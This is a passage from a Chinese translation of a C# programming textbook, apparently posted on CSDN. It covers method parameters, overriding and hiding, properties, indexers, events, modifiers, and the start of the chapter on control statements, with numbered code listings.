到由传递值和为调用者获取返回结果所引起的问题。

。输入参数
。引用参数
。输出参数

5.2.1.1 输入参数
你早已在例子中见过的一个参数就是输入参数。你用一个输入参数通过值传递一个变量给一个方

法——方法的变量被调用者传递进来的值的一个拷贝初始化。清单5.1 示范输入参数的使用。

清单 5.1 通过值传递参数

1: using System;
2:
3: public class SquareSample
4: {
5: public int CalcSquare(int nSideLength)
6: {
7: return nSideLength*nSideLength;
8: }
9: }
10:
11: class SquareApp
12: {
13: public static void Main()
14: {
15: SquareSample sq = new SquareSample();
16: Console.WriteLine(sq.CalcSquare(25).ToString());
17: }
18: }

因为我传递值而不是引用给一个变量，所以当调用方法时(见第16行)，可以使用一个常量表达式

(25)。整型结果被传回给调用者作为返回值，它没有存到中间变量就被立即显示到屏幕上 。
输入参数按C/C++程序员早已习惯的工作方式工作。如果你来自VB，请注意没有能被编译器处理

的隐式ByVal或ByRef——如果没有设定，参数总是用值传递。
这点似乎与我前面所陈述的有冲突：对于一些变量类型，用值传递实际上意味着用引用传递。

迷惑吗? 一点背景知识也不需要：COM中的东西就是接口，每一个类可以拥有一个或多个接口。一个

接口只不过是一组函数指针，它不包含数据。重复该数组会浪费很多内存资源；所以，仅开始地址

被拷贝给方法，它作为调用者，仍然指向接口的相同指针。那就是为什么对象用值传递一个引用。

5.2.1.2 引用参数
尽管可以利用输入参数和返回值建立很多方法，但你一想到要传递值并原地修改它(也就是在相

同的内存位置)，就没有那么好运了。这里用引用参数就很方便。
void myMethod(ref int nInOut)
因为你传递了一个变量给该方法(不仅仅是它的值)，变量必须被初始化。否则，编译器会报警。

清单 5.2 显示如何用一个引用参数建立一个方法。

清单 5.2 通过引用传递参数

1: // class SquareSample
2: using System;
3:
4: public class SquareSample
5: {
6: public void CalcSquare(ref int nOne4All)
7: {
8: nOne4All *= nOne4All;
9: }
10: }
11:
12: class SquareApp
13: {
14: public static void Main()
15: {
16: SquareSample sq = new SquareSample();
17:
18: int nSquaredRef = 20; // 一定要初始化
19: sq.CalcSquare(ref nSquaredRef);
20: Console.WriteLine(nSquaredRef.ToString());
21: }
22: }

正如所看到的，所有你要做的就是给定义和调用都加上ref限定符。因为变量通过引用传递，你

可以用它来计算出结果并传回该结果。但是，在现实的应用程序中，我强烈建议要用两个变量，一

个输入参数和一个引用参数。

5.2.1.3 输出参数
传递参数的第三种选择就是把它设作一个输出参数。正如该名字所暗示，一个输出参数仅用于从

方法传递回一个结果。它和引用参数的另一个区别在于：调用者不必先初始化变量才调用方法。这

显示在清单5.3中。

清单 5.3 定义一个输出参数

1: using System;
2:
3: public class SquareSample
4: {
5: public void CalcSquare(int nSideLength, out int nSquared)
6: {
7: nSquared = nSideLength * nSideLength;
8: }
9: }
10:
11: class SquareApp
12: {
13: public static void Main()
14: {
15: SquareSample sq = new SquareSample();
16:
17: int nSquared; // 不必初始化
18: sq.CalcSquare(15, out nSquared);
19: Console.WriteLine(nSquared.ToString());
20: }
21: }

5.2.2 改写方法
面向对象设计的重要原则就是多态性。不要理会高深的理论，多态性意味着：当基类程序员已

设计好用于改写的方法时，在派生类中，你就可以重定义(改写)基类的方法。基类程序员可以用

virtual 关键字设计方法：
virtual void CanBOverridden()
当从基类派生时，所有你要做的就是在新方法中加入override关键字：
override void CanBOverridden()
当改写一个基类的方法时，你必须明白，不能改变方法的访问属性——在这章的后面，你会学

到更多关于访问修饰符的知识。
除了改写基类方法的事实外，还有另一个甚至更重要的改写特性。当把派生类强制转换成基类

类型并接着调用虚拟方法时，被调用的是派生类的方法而不是基类的方法。
((BaseClass)DerivedClassInstance).CanBOverridden();
为了演示虚拟方法的概念，清单 5.4 显示如何创建一个三角形基类，它拥有一个可以被改

写的成员方法（ComputeArea）。

清单 5.4 改写一个基类的方法

1: using System;
2:
3: class Triangle
4: {
5: public virtual double ComputeArea(int a, int b, int c)
6: {
7: // Heronian formula
8: double s = (a + b + c) / 2.0;
9: double dArea = Math.Sqrt(s*(s-a)*(s-b)*(s-c));
10: return dArea;
11: }
12: }
13:
14: class RightAngledTriangle:Triangle
15: {
16: public override double ComputeArea(int a, int b, int c)
17: {
18: double dArea = a*b/2.0;
19: return dArea;
20: }
21: }
22:
23: class TriangleTestApp
24: {
25: public static void Main()
26: {
27: Triangle tri = new Triangle();
28: Console.WriteLine(tri.ComputeArea(2, 5, 6));
29:
30: RightAngledTriangle rat = new RightAngledTriangle();
31: Console.WriteLine(rat.ComputeArea(3, 4, 5));
32: }
33: }

基类Triangle定义了方法ComputeArea。它采用三个参数，返回一个double结果，且具有公共访

问性。从Triangle类派生出的是RightAngledTriangle，它改写了ComputeArea 方法，并实现了自己

的面积计算公式。两个类都被实例化，且在命名为TriangleTestApp的应用类的Main() 方法中得到

验证。
我漏了解释第14行：
class RightAngledTriangle : Triangle
在类语句中冒号（：）表示RightAngledTriangle从类 Triangle派生。那就是你所必须要做的

，以让C#知道你想把 Triangle当作RightAngledTriangle的基类。
当仔细观察直角三角形的ComputeArea方法时，你会发现第3个参数并没有用于计算。但是，利

用该参数就可以验证是否是“直角”。如清单5.5所示。

清单 5.5 调用基类实现

1: class RightAngledTriangle:Triangle
2: {
3: public override double ComputeArea(int a, int b, int c)
4: {
5: const double dEpsilon = 0.0001;
6: double dArea = 0;
7: if (Math.Abs((a*a + b*b - c*c)) > dEpsilon)
8: {
9: dArea = base.ComputeArea(a,b,c);
10: }
11: else
12: {
13: dArea = a*b/2.0;
14: }
15:
16: return dArea;
17: }
18: }

该检测简单地利用了毕达哥拉斯公式，对于直角三角形，检测结果必须为0。如果结果不为0，类

就调用它基类的 ComputeArea来实现。
dArea = base.ComputeArea(a,b,c);
例子的要点为：通过显式地利用基类的资格检查，你就能轻而易举地调用基类实现改写方法。
当你需要实现其在基类中的功能，而不愿意在改写方法中重复它时，这就非常有帮助。

5.2.3 方法屏蔽
重定义方法的一个不同手段就是要屏蔽基类的方法。当从别人提供的类派生类时，这个功能特

别有价值。看清单 5.6，假设BaseClass由其他人所写，而你从它派生出 DerivedClass 。

清单 5.6 Derived Class 实现一个没有包含于 Base Class中的方法

1: using System;
2:
3: class BaseClass
4: {
5: }
6:
7: class DerivedClass:BaseClass
8: {
9: public void TestMethod()
10: {
11: Console.WriteLine("DerivedClass::TestMethod");
12: }
13: }
14:
15: class TestApp
16: {
17: public static void Main()
18: {
19: DerivedClass test = new DerivedClass();
20: test.TestMethod();
21: }
22: }

在这个例子中， DerivedClass 通过TestMethod()实现了一个额外的功能。但是，如果基类的

开发者认为把TestMethod()放在基类中是个好主意，并使用相同的名字实现它时，会出现什么问题

呢？（见清单5.7）

清单 5.7 Base Class 实现和 Derived Class相同的方法

1: class BaseClass
2: {
3: public void TestMethod()
4: {
5: Console.WriteLine("BaseClass::TestMethod");
6: }
7: }
8:
9: class DerivedClass:BaseClass
10: {
11: public void TestMethod()
12: {
13: Console.WriteLine("DerivedClass::TestMethod");
14: }
15: }

在优秀的编程语言中，你现在会遇到一个真正的大麻烦。但是，C#会给你提出警告：
hiding2.cs(13,14): warning CS0114: 'DerivedClass.TestMethod()' hides inherited member

'BaseClass.TestMethod()'. To make the current method override that implementation, add

the override keyword. Otherwise add the new keyword.
（hiding2.cs(13,14):警告 CS0114:'DerivedClass.TestMethod()' 屏蔽了所继承的成员

'BaseClass.TestMethod()'。要想使当前方法改写原来的实现，加上 override关键字。否则加上新

的关键字。）
具有了修饰符new，你就可以告诉编译器，不必重写派生类或改变使用到派生类的代码，你的方法就

能屏蔽新加入的基类方法。清单5.8 显示如何在例子中运用new修饰符。

清单 5.8 屏蔽基类方法

1: class BaseClass
2: {
3: public void TestMethod()
4: {
5: Console.WriteLine("BaseClass::TestMethod");
6: }
7: }
8:
9: class DerivedClass:BaseClass
10: {
11: new public void TestMethod()
12: {
13: Console.WriteLine("DerivedClass::TestMethod");
14: }
15: }

使用了附加的new修饰符，编译器就知道你重定义了基类的方法，它应该屏蔽基类方法。但是，如果

你按以下方式编写：
DerivedClass test = new DerivedClass();
((BaseClass)test).TestMethod();
基类方法的实现就被调用了。这种行为不同于改写方法，后者保证大部分派生方法获得调用。
5.3 类属性
有两种途径揭示类的命名属性——通过域成员或者通过属性。前者是作为具有公共访问性的成员变量而被实现的；后者并不直接回应存储位置，只是通过 存取标志(accessors)被访问。
当你想读出或写入属性的值时，存取标志限定了被实现的语句。用于读出属性的值的存取标志记为关键字get，而要修改属性的值的读写符标志记为set。在你对该理论一知半解以前，请看一下清单5.9中的例子，属性SquareFeet被标上了get和set的存取标志。
清单 5.9 实现属性存取标志
1: using System;
2:
3: public class House
4: {
5: private int m_nSqFeet;
6:
7: public int SquareFeet
8: {
9: get { return m_nSqFeet; }
10: set { m_nSqFeet = value; }
11: }
12: }
13:
14: class TestApp
15: {
16: public static void Main()
17: {
18: House myHouse = new House();
19: myHouse.SquareFeet = 250;
20: Console.WriteLine(myHouse.SquareFeet);
21: }
22: }

House类有一个命名为SquareFeet的属性，它可以被读和写。实际的值存储在一个可以从类内部访问的变量中——如果你想当作一个域成员重写它，你所要做的就是忽略存取标志而把变量重新定义为：
public int SquareFeet;
对于一个如此简单的变量，这样不错。但是，如果你想要隐藏类内部存储结构的细节时，就应该采用存取标志。在这种情况下，set 存取标志给值参数中的属性传递新值。（可以改名，见第10行。）
除了能够隐藏实现细节外，你还可自由地限定各种操作：
get和set：允许对属性进行读写访问。
get only：只允许读属性的值。
set only：只允许写属性的值。
除此之外，你可以获得实现在set标志中有效代码的机会。例如，由于种种原因（或根本没有原因），你就能够拒绝一个新值。最好是没有人告诉你它是一个动态属性——当你第一次请求它后，它会保存下来，故要尽可能地推迟资源分配。

5.4 索引
你想过象访问数组那样使用索引访问类吗 ？使用C#的索引功能，对它的期待便可了结。

语法基本上象这样：
属性 修饰符 声明 { 声明内容}

具体的例子为
public string this[int nIndex]
{
get { ... }
set { ... }
}

索引返回或按给出的index设置字符串。它没有属性，但使用了public修饰符。声明部分由类型string和this 组成用于表示类的索引。get和set的执行规则和属性的规则相同。（你不能取消其中一个。） 只存在一个差别，那就是：你几乎可以任意定义大括弧中的参数。限制为，必须至少规定一个参数，允许ref 和out 修饰符。
this关键字确保一个解释。索引没有用户定义的名字，this 表示默认接口的索引。如果类实现了多个接口，你可以增加更多个由InterfaceName.this说明的索引。

为了演示一个索引的使用，我创建了一个小型的类，它能够解析一个主机名为IP地址——或一个IP地址列表(以http://www.microsoft.com为例 )。这个列表通过索引可以访问，你可以看一下清单

5.10 的具体实现。

清单 5.10 通过一个索引获取一个IP地址

1: using System;
2: using System.Net;
3:
4: class ResolveDNS
5: {
6: IPAddress[] m_arrIPs;
7:
8: public void Resolve(string strHost)
9: {
10: IPHostEntry iphe = DNS.GetHostByName(strHost);
11: m_arrIPs = iphe.AddressList;
12: }
13:
14: public IPAddress this[int nIndex]
15: {
16: get
17: {
18: return m_arrIPs[nIndex];
19: }
20: }
21:
22: public int Count
23: {
24: get { return m_arrIPs.Length; }
25: }
26: }
27:
28: class DNSResolverApp
29: {
30: public static void Main()
31: {
32: ResolveDNS myDNSResolver = new ResolveDNS();
33: myDNSResolver.Resolve("http://www.microsoft.com");
34:
35: int nCount = myDNSResolver.Count;
36: Console.WriteLine("Found {0} IP's for hostname", nCount);
37: for (int i=0; i < nCount; i++)
38: Console.WriteLine(myDNSResolver[i]);
39: }
40: }

为了解析主机名，我用到了DNS类，它是System .Net 名字空间的一部分。但是，由于这个名字空间并不包含在核心库中，所以必须在编译命令行中引用该库：
csc /r:System.Net.dll /out:resolver.exe dnsresolve.cs
解析代码是向前解析的。在该 Resolve方法中，代码调用DNS类的静态方法GetHostByName，它返回一个IPHostEntry对象。结果，该对象包含有我要找的数组——AddressList数组。在退出Resolve 方法之前，在局部的对象实例成员m_arrIPs中，存储了一个AddressList array的拷贝(类型IPAddress 的对象存储在其中)。
具有现在生成的数组 ，通过使用在类ResolveDNS中求得的索引，应用程序代码就可以在第37至38行列举出IP地址。(在第6章 "控制语句"，有更多有关语句的信息。) 因为没有办法更改IP地址，所以仅给索引使用了get存取标志。为了简单其见，我忽略了数组的边界溢出检查。

5.4 事件
当你写一个类时，有时有必要让类的客户知道一些已经发生的事件。如果你是一个具有多年编程经验的程序员，似乎有很多的解决办法，包括用于回调的函数指针和用于ActiveX控件的事件接收（event sinks)。现在你将要学到另外一种把客户代码关联到类通知的办法——使用事件。
事件既可以被声明为类域成员（成员变量），也可以被声明为属性。两者的共性为，事件的类型必定是代表元，而函数指针原形和C#的代表元具有相同的含义。
每一个事件都可以被0或更多的客户占用，且客户可以随时关联或取消事件。你可以以静态或者以实例方法定义代表元，而后者很受C++程序员的欢迎。
既然我已经提到了事件的所有功能及相应的代表元，请看清单5.11中的例子。它生动地体现了该理论。

清单5.11 在类中实现事件处理
1: using System;
2:
3: // 向前声明
4: public delegate void EventHandler(string strText);
5:
6: class EventSource
7: {
8: public event EventHandler TextOut;
9:
10: public void TriggerEvent()
11: {
12: if (null != TextOut) TextOut("Event triggered");
13: }
14: }
15:
16: class TestApp
17: {
18: public static void Main()
19: {
20: EventSource evsrc = new EventSource();
21:
22: evsrc.TextOut += new EventHandler(CatchEvent);
23: evsrc.TriggerEvent();
24:
25: evsrc.TextOut -= new EventHandler(CatchEvent);
26: evsrc.TriggerEvent();
27:
28: TestApp theApp = new TestApp();
29: evsrc.TextOut += new EventHandler(theApp.InstanceCatch);
30: evsrc.TriggerEvent();
31: }
32:
33: public static void CatchEvent(string strText)
34: {
35: Console.WriteLine(strText);
36: }
37:
38: public void InstanceCatch(string strText)
39: {
40: Console.WriteLine("Instance " + strText);
41: }
42: }

第4行声明了代表元（事件方法原形），它用来给第8行中的EventSource类声明TextOut事件域成员。你可以观察到代表元作为一种新的类型声明，当声明事件时可以使用代表元。
该类仅有一个方法，它允许我们触发事件。请注意，你必须进行事件域成员不为null的检测，因为可能会出现没有客户对事件感兴趣这种情况。
TestApp类包含了Main 方法，也包含了另外两个方法，它们都具备事件所必需的信号。其中一个方法是静态的，而另一个是实例方法。
EventSource 被实例化，而静态方法CatchEvent被预关联上了 TextOut事件：
evsrc.TextOut += new EventHandler(CatchEvent);
从现在起，当事件被触发时，该方法被调用。如果你对事件不再感兴趣，简单地取消关联：
evsrc.TextOut -= new EventHandler(CatchEvent);
注意，你不能随意取消关联的处理函数——在类代码中仅创建了这些处理函数。为了证明事件处理函数也和实例方法一起工作，余下的代码建立了TestApp 的实例，并钩住事件处理方法。
事件在哪方面对你特别有用？你将经常在ASP+中或使用到WFC (Windows Foundation Classes)时，涉及到事件和代表元。

5.5 应用修饰符
在这一章的学习过程中，你已经见过了象public、virtual等修饰符。欲以一种易于理解的方法概括它们，我把它们划分为三节：

。类修饰符
。成员修饰符
。存取修饰符

5.5.1 类修饰符
到目前为止，我还没有涉及到类修饰符，而只涉及到了应用于类的存取修饰符。但是，有两个修饰符你可以用于类：
abstract——关于抽象类的重要一点就是它不能被实例化。只有不是抽象的派生类才能被实例化。派生类必须实现抽象基类的所有抽象成员。你不能给抽象类使用sealed 修饰符。
sealed——密封 类不能被继承。使用该修饰符防止意外的继承，在.NET框架中的类用到这个修饰符。
要见到两个修饰符的运用，看看清单5.12 ，它创建了一个基于一个抽象类的密封类（肯定是一个十分极端的例子）。

清单 5.12 抽象类和密封类

1: using System;
2:
3: abstract class AbstractClass
4: {
5: abstract public void MyMethod();
6: }
7:
8: sealed class DerivedClass:AbstractClass
9: {
10: public override void MyMethod()
11: {
12: Console.WriteLine("sealed class");
13: }
14: }
15:
16: public class TestApp
17: {
18: public static void Main()
19: {
20: DerivedClass dc = new DerivedClass();
21: dc.MyMethod();
22: }
23: }

5.5.2 成员修饰符
与有用的成员修饰符的数量相比，类修饰符的数量很少。我已经提到了一些，这本书即将出现的例子描述了其它的成员修饰符。
以下是有用的成员修饰符：
abstract——说明一个方法或存取标志不能含有一个实现。它们都是隐式虚拟，且在继承类中，你必须提供 override关键字。
const——这个修饰符应用于域成员或局部变量。在编译时常量表达式被求值，所以，它不能包含变量的引用。
event ——定义一个域成员或属性作为类型事件。用于捆绑客户代码到类的事件。
extern——告诉编译器方法实际上由外部实现。第10章 “和非受管代码互相操作” 将全面地涉及到外部代码。
override——用于改写任何基类中被定义为virtual的方法和存取标志。要改写的名字和基类的方法必须一致。
readonly——一个使用 readonly修饰符的域成员只能在它的声明或者在包含它的类的构造函数中被更改。

static——被声明为static的成员属于类，而不属于类的实例。你可以用static 于域成员、方法、属性、操作符甚至构造函数。
virtual——说明方法或存取标志可以被继承类改写。

5.5.3 存取修饰符
存取修饰符定义了某些代码对类成员（如方法和属性）的存取等级。你必须给每个成员加上所希望的存取修饰符，否则，默认的存取类型是隐含的。
你可以应用4个 存取修饰符之一：
public——任何地方都可以访问该成员，这是具有最少限制的存取修饰符。
protected——在类及所有的派生类中可以访问该成员，不允许外部访问。
private——仅仅在同一个类的内部才能访问该成员。甚至派生类都不能访问它。
internal——允许相同组件（应用程序或库）的所有代码访问。在.NET组件级别，你可以把它视为public，而在外部则为private。
为了演示存取修饰符的用法，我稍微修改了Triangle例子，使它包含了新增的域成员和一个新的派生类（见清单 5.13）。

清单 5.13 在类中使用存取修饰符

1: using System;
2:
3: internal class Triangle
4: {
5: protected int m_a, m_b, m_c;
6: public Triangle(int a, int b, int c)
7: {
8: m_a = a;
9: m_b = b;
10: m_c = c;
11: }
12:
13: public virtual double Area()
14: {
15: // Heronian formula
16: double s = (m_a + m_b + m_c) / 2.0;
17: double dArea = Math.Sqrt(s*(s-m_a)*(s-m_b)*(s-m_c));
18: return dArea;
19: }
20: }
21:
22: internal class Prism:Triangle
23: {
24: private int m_h;
25: public Prism(int a, int b, int c, int h):base(a,b,c)
26: {
27: m_h = h;
28: }
29:
30: public override double Area()
31: {
32: double dArea = base.Area() * 2.0;
33: dArea += m_a*m_h + m_b*m_h + m_c*m_h;
34: return dArea;
35: }
36: }
37:
38: class PrismApp
39: {
40: public static void Main()
41: {
42: Prism prism = new Prism(2,5,6,1);
43: Console.WriteLine(prism.Area());
44: }
45: }

Triangle 类和 Prism 类现在被标为 internal。这意味着它们只能在当前组件中被访问。

请记住“.NET组件”这个术语指的是包装（ packaging,），而不是你可能在COM+中用到的组件。

Triangle 类有三个 protected成员，它们在构造函数中被初始化，并用于面积计算的方法中。由于这些成员是protected 成员，所以我可以在派生类Prism中访问它们，在那里执行不同的面积计算。

Prism自己新增了一个成员m_h，它是私有的——甚至派生类也不能访问它。
花些时间为每个类成员甚至每个类计划一种保护层次，通常是个好主意。当需要引入修改时，全面的计划最终会帮助你，因为没有程序员会愿意使用“没有文档”的类功能。
5.6 小结
这章显示了类的各种要素，它是运行实例（对象）的模板。在一个对象的生命期，首先被执行的代码是个构造函数。构造函数用来初始化变量，这些变量后来在方法中用于计算结果。
方法允许你传递值、引用给变量，或者只传送一个输出值。方法可以被改写以实现新的功能，或者你可以屏蔽基类成员，如果它实现了一个具有和派生类成员相同名字的方法。
命名属性可以被当作域成员（成员变量）或属性存取标志实现。后者是get和set存取标志，忽略一个或另外一个，你可以创建仅写或仅读属性。存取标志非常适合于确认赋给属性的值。
C#类的另外一个功能是索引，它使象数组语法一样访问类中值成为可能。还有，如果当类中的某些事情发生时，你想客户得到通知，要让它们与事件关联。
当垃圾收集器调用析构函数时，对象的生命就结束了。由于你不能准确地预测这种情况什么时候会发生，所以应该创建一个方法以释放这些宝贵的资源，当你停止使用它们时。


csdn_《.net编程先锋C#》第六章 控制语句

《.net编程先锋C#》第六章 控制语句

第六章 控制语句
有一种语句，你在每种编程语言控制流程语句中都可以找到。在这一章中，我介绍了C#的控制语句，它们分为两个主要部分：
。选择语句
。循环语句
如果你是C或C++程序员，很多信息会让你感到似曾相似；但是，你必须知道它们还存在着一些差别。

6.1 选择语句
当运用选择语句时，你定义了一个控制语句，它的值控制了哪个语句被执行。在C#中用到两个选择语句：
。if 语句
。switch 语句

6.1.1 if 语句
最先且最常用到的语句是 if 语句。内含语句是否被执行取决于布尔表达式：
if (布尔表达式) 内含语句
当然，也可以有else 分枝，当布尔表达式的值为假时，该分枝就被执行：
if (布尔表达式) 内含语句 else 内含语句
在执行某些语句之前就检查一个非零长字符串的例子：

if (0 != strTest.Length)
{
}

这是一个布尔表达式。（!=表示不等于。） 但是，如果你来自C或者C++，可能会习惯于编写象这样的代码：
if (strTest.Length)
{
}

这在C#中不再工作，因为 if 语句仅允许布尔（ bool） 数据类型的结果，而字符串的Length属性对象返回一个整形（integer）。编译器将出现以下错误信息：
error CS0029: Cannot implicitly convert type 'int' to 'bool' （不能隐式地转换类型 'int' 为 'bool'。）

上边是你必须改变的习惯，而下边将不会再在 if 语句中出现赋值错误：
if (nMyValue = 5) ...

正确的代码应为

if (nMyValue == 5) ...

因为相等比较由==实行，就象在C和C++中一样。看以下有用的对比操作符（但并不是所有的数据类型都有效）：
== ——如果两个值相同，返回真。
!= ——如果两个值不同，返回假。
<, <=, >, >= —— 如果满足了关系（小于、小于或等于、大于、大于或等于），返回真。
每个操作符是通过重载操作符被执行的，而且这种执行对数据类型有规定。如果你比较两个不同的类型，对于编译器，必须存在着一个隐式的转换，以便自动地创建必要的代码。但是，你可以执行一个显式的类型转换。
清单 6.1 中的代码演示了 if 语句的一些不同的使用场合，同时也演示了如何使用字符串数据类型。这个程序的主要思想是，确定传递给应用程序的第一个参数是否以大写字母、小写字母或者数字开始。

清单 6.1 确定字符的形态

1: using System;
2:
3: class NestedIfApp
4: {
5: public static int Main(string[] args)
6: {
7: if (args.Length != 1)
8: {
9: Console.WriteLine("Usage: one argument");
10: return 1; // error level
11: }
12:
13: char chLetter = args[0][0];
14:
15: if (chLetter >= 'A')
16: if (chLetter <= 'Z')
17: {
18: Console.WriteLine("{0} is uppercase",chLetter);
19: return 0;
20: }
21:
22: chLetter = Char.FromString(args[0]);
23: if (chLetter >= 'a' && chLetter <= 'z')
24: Console.WriteLine("{0} is lowercase",chLetter);
25:
26: if (Char.IsDigit((chLetter = args[0][0])))
27: Console.WriteLine("{0} is a digit",chLetter);
28:
29: return 0;
30: }
31: }

始于第7行的第一个 if 语段检测参数数组是否只有一个字符串。如果不满足条件，程序就在屏幕上显示用法信息，并终止运行。
可以采取多种方法从一个字符串中提取出单个字符——既可象第13行那样利用字符索引，也可以使用Char类的静态 FromString 方法，它返回字符串的第一个字符。
第16～20行的 if 语句块使用一个嵌套 的if 语句块检查大写字母。用逻辑“与”操作符（&&）可以胜任小写字母的检测，而最后通过使用Char类的静态函数IsDigit，就可以完成对数字的检测。
除了“&&”操作符之外，还有另一个条件逻辑操作符，它就是代表“或”的“¦¦”。两个逻辑操作符都 是“短路”式的。对于“&&”操作符，意味着如果条件“与”表达式的第一个结果返回一个假值，余下的条件“与”表达式就不会再被求值了。相对应，“¦¦”操作符当第一个真条件满足时，它就“短路”了。
我想让大家理解的是，要减少计算时间，你应该把最有可能使求值“短路”的表达式放在前面。同样你应该清楚，计算 if 语句中的某些值会存在着替在的危险。

if (1 == 1 ¦¦ (5 == (strLength=str.Length)))
{
Console.WriteLine(strLength);
}

当然，这是一个极其夸张的例子，但它说明了这样的观点：第一条语句求值为真，那么第二条语句就不会被执行，它使变量strLength维持原值。给大家一个忠告：决不要在具有条件逻辑操作符的 if 语句中赋值。

6.1.2 switch 语句
和 if 语句相比，switch语句有一个控制表达式，而且内含语句按它们所关联的控制表达式的常量运行。

switch (控制表达式)
{
case 常量表达式:
内含语句
default:
内含语句
}

控制表达式所允许的数据类型 为： sbyte, byte, short, ushort, uint, long, ulong, char, string, 或者枚举类型。只要使其它不同数据类型能隐式转换成上述的任何类型，用它作为控制表达式也很不错。
switch 语句接以下顺序执行：
1、控制表达式求值
2、如果 case 标签后的常量表达式符合控制语句所求出的值，内含语句被执行。
3、如果没有常量表达式符合控制语句，在default 标签内的内含语句被执行。
4、如果没有一个符合case 标签，且没有default 标签，控制转向switch 语段的结束端。
在继续更详细地探讨switch语句之前，请看清单 6.2 ，它演示用 switch语句来显示一个月的天数（忽略跨年度）
清单 6.2 使用switch语句显示一个月的天数

1: using System;
2:
3: class FallThrough
4: {
5: public static void Main(string[] args)
6: {
7: if (args.Length != 1) return;
8:
9: int nMonth = Int32.Parse(args[0]);
10: if (nMonth < 1 ¦¦ nMonth > 12) return;
11: int nDays = 0;
12:
13: switch (nMonth)
14: {
15: case 2: nDays = 28; break;
16: case 4:
17: case 6:
18: case 9:
19: case 11: nDays = 30; break;
20: default: nDays = 31;
21: }
22: Console.WriteLine("{0} days in this month",nDays);
23: }
24: }

switch 语段包含于第13~21行。对于C程序员，这看起来非常相似，因为它不使用break语句。因此，存在着一个更具生命力的重要差别。你必须加上一个break语句（或一个不同的跳转语句），因为编译器会提醒，不允许直达下一部分。
何谓直达？在C（和C++）中，忽略break并且按以下编写代码是完全合法的：
nVar = 1
switch (nVar)
{
case 1:
DoSomething();
case 2:
DoMore();
}

在这个例子中，在执行了第一个case语句的代码后，将直接执行到其它case标签的代码，直到一个break语句退出switch语段为止。尽管有时这是一个强大的功能，但它更经常地产生难于发现的缺陷。
可如果你想执行其它case标签的代码，那怎么办？ 有一种办法，它显示于清单6.3中。

清单 6.3　在swtich语句中使用 goto 标签　和 goto default

1: using System;
2:
3: class SwitchApp
4: {
5: public static void Main()
6: {
7: Random objRandom = new Random();
8: double dRndNumber = objRandom.NextDouble();
9: int nRndNumber = (int)(dRndNumber * 10.0);
10:
11: switch (nRndNumber)
12: {
13: case 1:
14: //什么也不做
15: break;
16: case 2:
17: goto case 3;
18: case 3:
19: Console.WriteLine("Handler for 2 and 3");
20: break;
21: case 4:
22: goto default;
23: // everything beyond a goto will be warned as
24: // unreachable code
25: default:
26: Console.WriteLine("Random number {0}", nRndNumber);
27: }
28: }
29: }

  在这个例子中，通过Random类产生用于控制表达式的值（第７～９行）。switch语段包含两个对switch语句有效的跳转语句。
    goto case 　标签：跳转到所说明的标签
    goto default: 跳转到 default　标签
    有了这两个跳转语句，你可以创建同Ｃ一样的功能，但是，直达不再是自动的。你必须明确地请求它。
    不再使用直达功能的更深的含义为：你可任意排列标签，如把default标签放在其它所有标签的前面。为了说明它，我创建了一个例子，故意不结束循环：

switch (nSomething)
{
default:
case 5:
goto default;
}

    我已经保留了其中一个swich 语句功能的讨论直至结束——事实上你可以使用字符串作为常量表达式。这对于VB程序员，可能听起来不象是什么大的新闻，但来自Ｃ或Ｃ＋＋的程序员将会喜欢这个新功能。
现在，一个 switch 语句可以如以下所示检查字符串常量了。

string strTest = "Chris";
switch (strTest)
{
case "Chris":
Console.WriteLine("Hello Chris!");
break;
}

6.2 循环语句
    当你想重复执行某些语句或语段时，依据当前不同的任务，Ｃ＃提供４个不同的循环语句选择给你使用：
。 for 语句
。foreach 语句
。 while 语句
。do 语句

6.2.1 for 语句
    当你预先知道一个内含语句应要执行多少次时，for 语句特别有用。当条件为真时，常规语法允许重复地执行内含语句（和循环表达式）：
for (初始化;条件;循环) 内含语句
请注意，初始化、条件和循环都是可选的。如果忽略了条件，你就可以产生一个死循环，要用到跳转语句（break 或goto）才能退出。

for (;;)
{
break; // 由于某些原因
}

另外一个重点是，你可以同时加入多条由逗号隔开的语句到for循环的所有三个参数。例如，你可以初始化两个变量、拥有三个条件语句，并重复4个变量。
作为C或C++程序员，你必须了解仅有的一个变化：条件语句必须为布尔表达式，就象 if 语句一样。
清单6.4 包含使用 for 语句的一个例子。它显示了如何计算一个阶乘，比使用递归函数调用还要快。

清单 6.4 在for 循环里计算一个阶乘

1: using System;
2:
3: class Factorial
4: {
5: public static void Main(string[] args)
6: {
7: long nFactorial = 1;
8: long nComputeTo = Int64.Parse(args[0]);
9:
10: long nCurDig = 1;
11: for (nCurDig=1;nCurDig <= nComputeTo; nCurDig++)
12: nFactorial *= nCurDig;
13:
14: Console.WriteLine("{0}! is {1}",nComputeTo, nFactorial);
15: }
16: }

尽管该例子过于拖沓，但它作为如何使用for 语句的一个开端。首先，我本应在初始化内部声明变量nCurDig：
for (long nCurDig=1;nCurDig <= nComputeTo; nCurDig++) nFactorial *= nCurDig;
另一种忽略初始化的选择如下行，因为第10行在for 语句的外部初始化了变量。（记住C#需要初始化变量）：
for (;nCurDig <= nComputeTo; nCurDig++) nFactorial *= nCurDig;
另一种改变是把++操作符移到内含语句中：
for ( ;nCurDig <= nComputeTo; ) nFactorial *= nCurDig++;
如果我也想摆脱条件语句，全部要做的是增加一条if 语句，用break 语句中止循环：

for (;;)
{
if (nCurDig > nComputeTo) break;
nFactorial *= nCurDig++;
}

除了用于退出for语句的break语句外，你还可以用continue 跳过当前循环，并继续下一次循环。
for (;nCurDig <= nComputeTo;)
{
if (5 == nCurDig) continue; // 这行跳过了余下的代码
nFactorial *= nCurDig++;

}

6.2.2 foreach 语句
已经在Visual Basic 语言中存在了很久的一个功能是，通过使用For Each 语句收集枚举。C#通过foreach 语句，也有一个用来收集枚举的命令：
foreach(表达式中的类型标识符） 内含语句
循环变量由类型和标识符声明，且表达式与收集相对应。循环变量代表循环正在为之运行的收集元素。

你应该知道不能赋一个新值给循环变量，也不能把它当作ref 或out 参数。这样引用在内含语句中被执行的代码。

你如何说出某些类支持foreach 语句？ 简而言之，类必须支持具有 GetEnumerator()名字的方法，而且由其所返回的结构、类或者接口必须具有public 方法MoveNext() 和public 属性Current。如果你想知道更多，请阅读语言参考手册，它有很多关于这个话题的详细内容。

对于清单 6.5 中的例子，我恰好偶然选了一个类，实现了所有这些需要。我用它来列举被定义过的所有的环境变量。

清单 6.5 读所有的环境变量

1: using System;
2: using System.Collections;
3:
4: class EnvironmentDumpApp
5: {
6: public static void Main()
7: {
8: IDictionary envvars = Environment.GetEnvironmentVariables();
9: Console.WriteLine("There are {0} environment variables declared", envvars.Keys.Count);
10: foreach (String strKey in envvars.Keys)
